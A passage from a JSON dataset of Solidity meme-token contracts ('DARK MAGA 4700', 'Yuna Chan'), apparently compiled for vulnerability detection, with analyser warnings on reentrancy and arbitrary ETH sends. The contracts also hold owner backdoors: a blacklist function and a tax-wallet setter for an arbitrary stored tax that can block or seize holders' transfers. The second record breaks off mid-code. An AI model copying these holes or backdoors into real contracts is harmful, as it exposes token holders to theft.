constant \n\t// Recommendation for 955a5c8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f87d73): $DMAGA4700._reduceBuyTaxAt should be constant \n\t// Recommendation for 2f87d73: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 990af12): $DMAGA4700._reduceSellTaxAt should be constant \n\t// Recommendation for 990af12: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 157f8fb): $DMAGA4700._preventSwapBefore should be constant \n\t// Recommendation for 157f8fb: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"DARK MAGA 4700\";\n\n string private constant _symbol = unicode\"$DMAGA4700\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f78411): $DMAGA4700._taxSwapThreshold should be constant \n\t// Recommendation for 4f78411: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c464ba9): $DMAGA4700._maxTaxSwap should be constant \n\t// Recommendation for c464ba9: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xa8395D025798f89DD558D66A5dD5F8deE58180A4);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: eeb8946): $DMAGA4700.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for eeb8946: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b27afbe): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b27afbe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 343a10f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 343a10f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b27afbe\n\t\t// reentrancy-benign | ID: 343a10f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b27afbe\n\t\t// reentrancy-benign | ID: 343a10f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 297bfb8): $DMAGA4700._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 297bfb8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 343a10f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b27afbe\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4d1cf80): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4d1cf80: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: aa62f60): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for aa62f60: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 4d1cf80\n\t\t\t\t// reentrancy-eth | ID: aa62f60\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4d1cf80\n\t\t\t\t\t// reentrancy-eth | ID: aa62f60\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: aa62f60\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: aa62f60\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: aa62f60\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4d1cf80\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: aa62f60\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: aa62f60\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4d1cf80\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b27afbe\n\t\t// reentrancy-events | ID: 4d1cf80\n\t\t// reentrancy-benign | ID: 343a10f\n\t\t// reentrancy-eth | ID: aa62f60\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b27afbe\n\t\t// reentrancy-events | ID: 4d1cf80\n\t\t// reentrancy-eth | ID: aa62f60\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 63fd3c3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 63fd3c3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7db43a4): $DMAGA4700.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7db43a4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8f6a318): $DMAGA4700.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8f6a318: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 30518b7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 30518b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 63fd3c3\n\t\t// reentrancy-eth | ID: 30518b7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 63fd3c3\n\t\t// unused-return | ID: 7db43a4\n\t\t// reentrancy-eth | ID: 30518b7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 63fd3c3\n\t\t// unused-return | ID: 8f6a318\n\t\t// reentrancy-eth | ID: 30518b7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 63fd3c3\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 30518b7\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10656.sol",
"size_bytes": 19939,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1731803): YunaChan.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for 1731803: Consider ordering multiplication before division.\ncontract YunaChan is Context, Ownable, IERC20 {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d270b38): YunaChan._taxWallet should be immutable \n\t// Recommendation for d270b38: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3166d1b): YunaChan._initialBuyTax should be constant \n\t// Recommendation for 3166d1b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 09883d8): YunaChan._initialSellTax should be constant \n\t// Recommendation for 09883d8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 90e901c): YunaChan._finalBuyTax should be constant \n\t// Recommendation for 90e901c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3351f29): YunaChan._finalSellTax should be constant \n\t// Recommendation for 3351f29: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8087cd3): YunaChan._reduceBuyTaxAt should be constant \n\t// Recommendation for 8087cd3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: e0f35af): YunaChan._reduceSellTaxAt should be constant \n\t// Recommendation for e0f35af: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39ce67e): YunaChan._preventSwapBefore should be constant \n\t// Recommendation for 39ce67e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Yuna Chan\";\n\n string private constant _symbol = unicode\"YUNA\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 12091b0): YunaChan._taxSwapThreshold should be constant \n\t// Recommendation for 12091b0: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 1731803\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fbc0032): YunaChan._maxTaxSwap should be immutable \n\t// Recommendation for fbc0032: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: 1731803\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private taxAmount;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0618e6b): YunaChan.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0618e6b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1cd48d8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1cd48d8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 31ba74b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 31ba74b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1cd48d8\n\t\t// reentrancy-benign | ID: 31ba74b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1cd48d8\n\t\t// reentrancy-benign | ID: 31ba74b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f0c431d): YunaChan._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f0c431d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 31ba74b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1cd48d8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dba9411): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dba9411: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d63efcb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d63efcb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 77011f9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 77011f9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (\n from != owner() &&\n to != owner() &&\n to != _taxWallet &&\n limitsInEffect\n ) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: dba9411\n\t\t\t\t// reentrancy-benign | ID: d63efcb\n\t\t\t\t// reentrancy-eth | ID: 77011f9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: dba9411\n\t\t\t\t\t// reentrancy-eth | ID: 77011f9\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 77011f9\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 77011f9\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 77011f9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-benign | ID: d63efcb\n if (!limitsInEffect) taxAmount = 0;\n\n\t\t\t// reentrancy-events | ID: dba9411\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 77011f9\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 77011f9\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: dba9411\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeTxLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeAllLimits() external {\n limitsInEffect = false;\n\n require(_msgSender() == _taxWallet);\n }\n\n function swapBackSettings(bool enabled, uint256 swapThreshold) external {\n require(_msgSender() == _taxWallet);\n\n taxAmount = swapThreshold;\n\n swapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d20dba1): YunaChan.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d20dba1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: dba9411\n\t\t// reentrancy-events | ID: 1cd48d8\n\t\t// reentrancy-eth | ID: 77011f9\n\t\t// arbitrary-send-eth | ID: d20dba1\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 814f655): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 814f655: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1f95147): YunaChan.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1f95147: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b3cc146): YunaChan.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b3cc146: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7780dd6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7780dd6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: 814f655\n\t\t\t// reentrancy-eth | ID: 7780dd6\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: 814f655\n\t\t// unused-return | ID: b3cc146\n\t\t// reentrancy-eth | ID: 7780dd6\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 